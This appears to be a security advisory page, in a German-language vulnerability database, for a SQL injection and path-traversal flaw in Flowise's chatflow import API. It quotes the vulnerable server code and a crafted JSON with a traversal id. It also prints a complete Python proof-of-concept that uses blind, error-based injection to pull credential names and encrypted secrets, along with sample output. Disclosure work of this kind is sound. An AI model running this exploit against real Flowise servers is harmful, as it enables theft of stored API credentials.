Mittel

FlowiseDB vulnerable to SQL Injection by authenticated users

  • Veröffentlicht: 07.04.2025
  • Aktualisiert: 11.10.2026 10:22

Summary

import functions are vulnerable.

Details

Authenticated user can call importChatflows API, import json file such as AllChatflows.json. but Due to insufficient validation to chatflow.id in importChatflows API, 2 issues arise.

Issue 1 (Bug Type)

  1. Malicious user creates AllChatflows.json file by adding ../ and arbitrary path to the chatflow.id of the json file.
    js
    {
      "Chatflows": [
        {
          "id": "../../../../../../apikey",
          "name": "clickme",
          "flowData": "{}"
        }
      ]
    }
  2. Victim download this file, and import this to flowise.
  3. When victim click created chatflow, victim access to flowise:3000/canvas/{chatflow.id}.

Issue 2 (Vulnerability Type) importChatflows API use unsafe SQL Query.

js
// packages/server/src/services/chatflows/index.ts
const importChatflows = async (newChatflows: Partial<ChatFlow>[]): Promise<any> => {
        try {
        const appServer = getRunningExpressApp()

        // step 1 - check whether file chatflows array is zero
        if (newChatflows.length == 0) return

        // step 2 - check whether ids are duplicate in database
        let ids = '('
        let count: number = 0
        const lastCount = newChatflows.length - 1
        newChatflows.forEach((newChatflow) => {
            ids += `'${newChatflow.id}'`           // <===== user input
            if (lastCount != count) ids += ','
            if (lastCount == count) ids += ')'
            count += 1
        })

        const selectResponse = await appServer.AppDataSource.getRepository(ChatFlow)
            .createQueryBuilder('cf')
            .select('cf.id')
            .where(`cf.id IN ${ids}`)                   // <===== here
            .getMany()
        const foundIds = selectResponse.map((response) => {
            return response.id
        })

It changes like SELECT cf.id FROM cf WHERE cf.id IN ('{USER-INPUT...}') by the code above. When ') {Malicious SQL Query} -- is passed to newChatflow.id, SQL Injection occurs.

PoC

python
import argparse
import requests


def import_chatflows(
    url: str,
    token: str,
    payload: dict
):
    response = requests.post(
        f'{url}/api/v1/chatflows/importchatflows',
        headers={
            'Authorization': f'Bearer {token}'
            # 'Authorization': f'Basic {token}'
        },
        json=payload
    )

    return response.json()


def import_normal_data(
    api_url: str,
    token: str,
    normal_data: str
):
    data_id = 'aaaaaa'

    payload = {
        "Chatflows": [
            {
                "id": data_id,
                "name": normal_data,
                "flowData": "{}"
            }
        ]
    }

    import_chatflows(
        url=api_url,
        token=token,
        payload=payload
    )
    return data_id


def get_character(
    api_url: str,
    token: str,
    data_id: str,
    column_name: str,
    index: int
):
    injection_query = f'(SELECT ascii(substr({column_name},{index},1)) FROM credential limit 0,1)'

    def create_payload(
        c: int
    ):
        return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

    chatflows_json = {
        "Chatflows": [
            {
                "id": "",
                "name": data_id,
                "flowData": "{}"
            }
        ]
    }

    bitbox = [
        64, 32, 16, 8, 4, 2, 1
    ]
    character = 0
    for bit in bitbox:
        payload = create_payload(c=character + bit)
        chatflows_json['Chatflows'][0]['id'] = payload

        res = import_chatflows(
            url=api_url,
            token=token,
            payload=chatflows_json
        )
        if 'DOUBLE value is out of range' in res['message']:
            # character is more then bit
            character += bit
        else:
            # character is less then bit
            character += 0

    return chr(character)


def get_length(
    api_url: str,
    token: str,
    data_id: str,
    column_name: str
):
    injection_query = f'(SELECT length({column_name}) FROM credential limit 0,1)'

    def create_payload(
        c: int
    ):
        return f"{data_id}') and if (({injection_query})<{c}, 0, 9e300 * 9e300); -- "

    chatflows_json = {
        "Chatflows": [
            {
                "id": "",
                "name": data_id,
                "flowData": "{}"
            }
        ]
    }

    column_len = 0
    bitbox = [
        256, 128, 64, 32, 16, 8, 4, 2, 1
    ]
    for bit in bitbox:
        payload = create_payload(c=column_len + bit)
        chatflows_json['Chatflows'][0]['id'] = payload

        res = import_chatflows(
            url=api_url,
            token=token,
            payload=chatflows_json
        )
        if 'DOUBLE value is out of range' in res['message']:
            # column_len is more then bit
            column_len += bit
        else:
            # column_len is less then bit
            column_len += 0

    return column_len


def main(
    url: str,
    token: str
):
    api_url = url

    column_box = [
        'credentialName',
        'encryptedData'
    ]

    data_id = import_normal_data(
        api_url=api_url,
        token=token,
        normal_data='flow01'
    )

    for column_name in column_box:
        column_len = get_length(
            api_url=api_url,
            token=token,
            data_id=data_id,
            column_name=column_name
        )

        print(f'[+] {column_name} length is {column_len}')

        result = ''
        for i in range(column_len):
            result += get_character(
                api_url=api_url,
                token=token,
                data_id=data_id,
                column_name=column_name,
                index=i + 1
            )

        print(f'[+] {column_name}: {result}')


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument(
        '--url',
        type=str,
        default='http://flowise:3000'
    )
    parser.add_argument(
        '--access',
        type=str,
        required=True,
        help='Get from http://flowise:3000/apikey'
    )

    m_args = parser.parse_args()

    main(
        url=m_args.url,
        token=m_args.access
    )

poc results: encryptedData from flowise database credential table was successfully leaked.

/app # python ex2.py --url http://flowise:3000 --access "blahblah~~~"
[+] credentialName length is 9
[+] credentialName: openAIApi
[+] encryptedData length is 88
[+] encryptedData: U2FsdGVkX19LlIhbD4M9q9reLWQilBY6ffWo2S9PQ669CP1HpMPa5g1h1rJL0ZK3x0UMsLi/8Pz6TbSFrmIZbg==

It is recommended to limit all chatflow ids & chat ids to UUID.

Impact

  • Database leak
  • Lateral Movement

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
npm-Paket flowise <= 2.2.7 keine Korrektur

Verweise

CVSS-Wert 5.9/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
Schwäche (CWE)
CWE-564
Plattform
npm
Paket
flowise
Veröffentlicht
07.04.2025
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-9c4c-g95m-c8cp - CC BY 4.0

Schwachstellenhistorie: flowise

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (114) im Archiv
Einträge insgesamt
114
Erste → letzte
04.2024 10.2026
Ohne Fix
16
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 28
  • Hoch 62
  • Mittel 24

Veröffentlichungen pro Jahr

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Schweregrad:
  1. FlowiseDB vulnerable to SQL Injection by authenticated users dieser Eintrag
    Mittel · 5.9 CVE-2025-71332 <= 2.2.7 keine Korrektur
  2. Kritisch CVE-2026-69259 < 3.1.3 3.1.3
  3. Kritisch CVE-2026-69256 < 3.1.3 3.1.3
  4. Kritisch CVE-2026-69253 < 3.1.3 3.1.3
  5. Kritisch CVE-2026-69251 < 3.1.3 3.1.3
  6. Hoch · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  7. Hoch CVE-2026-46443 < 3.1.2 3.1.2
  8. Hoch CVE-2026-56274 < 3.1.2 3.1.2
  9. Hoch · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
  10. Hoch · 9.8 CVE-2026-41276 < 3.1.0 3.1.0
  11. Hoch CVE-2026-41274 < 3.1.0 3.1.0
  12. Hoch · 7.5 CVE-2026-41275 < 3.1.0 3.1.0
  13. Hoch · 7.1 CVE-2026-41271 < 3.1.0 3.1.0
  14. Hoch · 7.1 CVE-2026-41272 < 3.1.0 3.1.0
  15. Hoch · 7.1 CVE-2026-41269 < 3.1.0 3.1.0
  16. Hoch · 7.7 CVE-2026-41268 < 3.1.0 3.1.0
  17. Hoch · 7.5 CVE-2026-41266 < 3.1.0 3.1.0
  18. Kritisch · 8.8 CVE-2026-41137 < 3.1.0 3.1.0
  19. Kritisch · 9.9 CVE-2026-40933 < 3.1.0 3.1.0
Mehr anzeigen (20) 61 von 91 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.